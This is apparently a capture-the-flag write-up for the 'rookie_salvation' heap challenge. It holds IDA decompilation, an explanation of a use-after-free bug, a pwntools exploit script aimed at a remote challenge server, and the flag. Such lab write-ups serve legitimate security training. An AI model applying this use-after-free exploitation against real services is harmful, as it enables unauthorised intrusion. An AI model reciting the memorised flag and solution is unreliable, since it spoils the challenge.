Decompile in IDA:
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 v3; // rax
  int v4; // edx
  int v5; // ecx
  int v6; // r8d
  int v7; // r9d
  banner(argc, argv, envp);
  allocated_space = malloc(0x26u);
  strcpy((char *)allocated_space + 0x1E, "deadbeef");
  while ( 1 )
  {
    v3 = menu();
    if ( v3 == 3 )
      road_to_salvation();
    if ( v3 > 3 )
      break;
    if ( v3 == 1 )
    {
      reserve_space();
    }
    else
    {
      if ( v3 != 2 )
        break;
      obliterate();
    }
  }
  fail((unsigned int)&unk_32E8, (_DWORD)argv, v4, v5, v6, v7);
}
void __noreturn road_to_salvation()
{
  int v0; // edx
  int v1; // ecx
  int v2; // r8d
  int v3; // r9d
  int v4; // edx
  int v5; // ecx
  int v6; // r8d
  int v7; // r9d
  FILE *stream; // [rsp+8h] [rbp-48h]
  char s[8]; // [rsp+10h] [rbp-40h] BYREF
  __int64 v10; // [rsp+18h] [rbp-38h]
  __int64 v11; // [rsp+20h] [rbp-30h]
  __int64 v12; // [rsp+28h] [rbp-28h]
  __int64 v13; // [rsp+30h] [rbp-20h]
  __int64 v14; // [rsp+38h] [rbp-18h]
  unsigned __int64 v15; // [rsp+48h] [rbp-8h]
  v15 = __readfsqword(0x28u);
  if ( !strcmp((const char *)allocated_space + 30, "w3th4nds") )
  {
    success((unsigned int)&unk_2F98, (unsigned int)"w3th4nds", v0, v1, v2, v3);
    *(_QWORD *)s = 0;
    v10 = 0;
    v11 = 0;
    v12 = 0;
    v13 = 0;
    v14 = 0;
    stream = fopen("flag.txt", "r");
    if ( !stream )
      fail((unsigned int)&unk_2FF8, (unsigned int)"r", v4, v5, v6, v7);
    fflush(stdin);
    fgets(s, 48, stream);
    printf("%sH%s\n", "\x1B[0m", s);
    fflush(stdout);
    exit(0);
  }
  fail((unsigned int)&unk_3118, (unsigned int)"w3th4nds", v0, v1, v2, v3);
}
unsigned __int64 __fastcall reserve_space(__int64 a1, int a2, int a3, int a4, int a5, int a6)
{
  int v6; // edx
  int v7; // ecx
  int v8; // r8d
  int v9; // r9d
  int v11; // [rsp+Ch] [rbp-14h] BYREF
  void *v12; // [rsp+10h] [rbp-10h]
  unsigned __int64 v13; // [rsp+18h] [rbp-8h]
  v13 = __readfsqword(0x28u);
  info((unsigned int)&unk_3240, a2, a3, a4, a5, a6);
  fflush(stdout);
  v11 = 0;
  __isoc99_scanf("%d", &v11);
  v12 = malloc(v11);
  info((unsigned int)&unk_3288, (unsigned int)&v11, v6, v7, v8, v9);
  fflush(stdout);
  __isoc99_scanf("%s", v12);
  return v13 - __readfsqword(0x28u);
}
unsigned __int64 obliterate()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]
  v1 = __readfsqword(0x28u);
  free(allocated_space);
  return v1 - __readfsqword(0x28u);
}
There is a use after free bug: we can free the space pointed by allocate_space, and allocate space of the same size, so the same pointer is returned by malloc. We can write the correct payload to it to pass the validation to get flag.
Attack:
from pwn import *
elf = ELF("./rookie_salvation")
context.binary = elf
context.terminal = ["tmux", "split-w", "-h"]
context(arch="amd64", os="linux", log_level="debug")
# p = process("./rookie_salvation")
p = remote("46.101.142.27", 32369)
# gdb.attach(p)
# pause()
# free the allocated space
p.recvuntil(b"> ")
p.sendline(b"2")
# reallocate the same sized chunk
p.recvuntil(b"> ")
p.sendline(b"1")
# length: 0x26
p.sendline(b"38")
# content:
p.sendline(b"A" * 30 + b"w3th4nds")
# get flag
p.recvuntil(b"> ")
p.sendline(b"3")
p.interactive()
Flag: HTB{h34p_2_h34v3n}.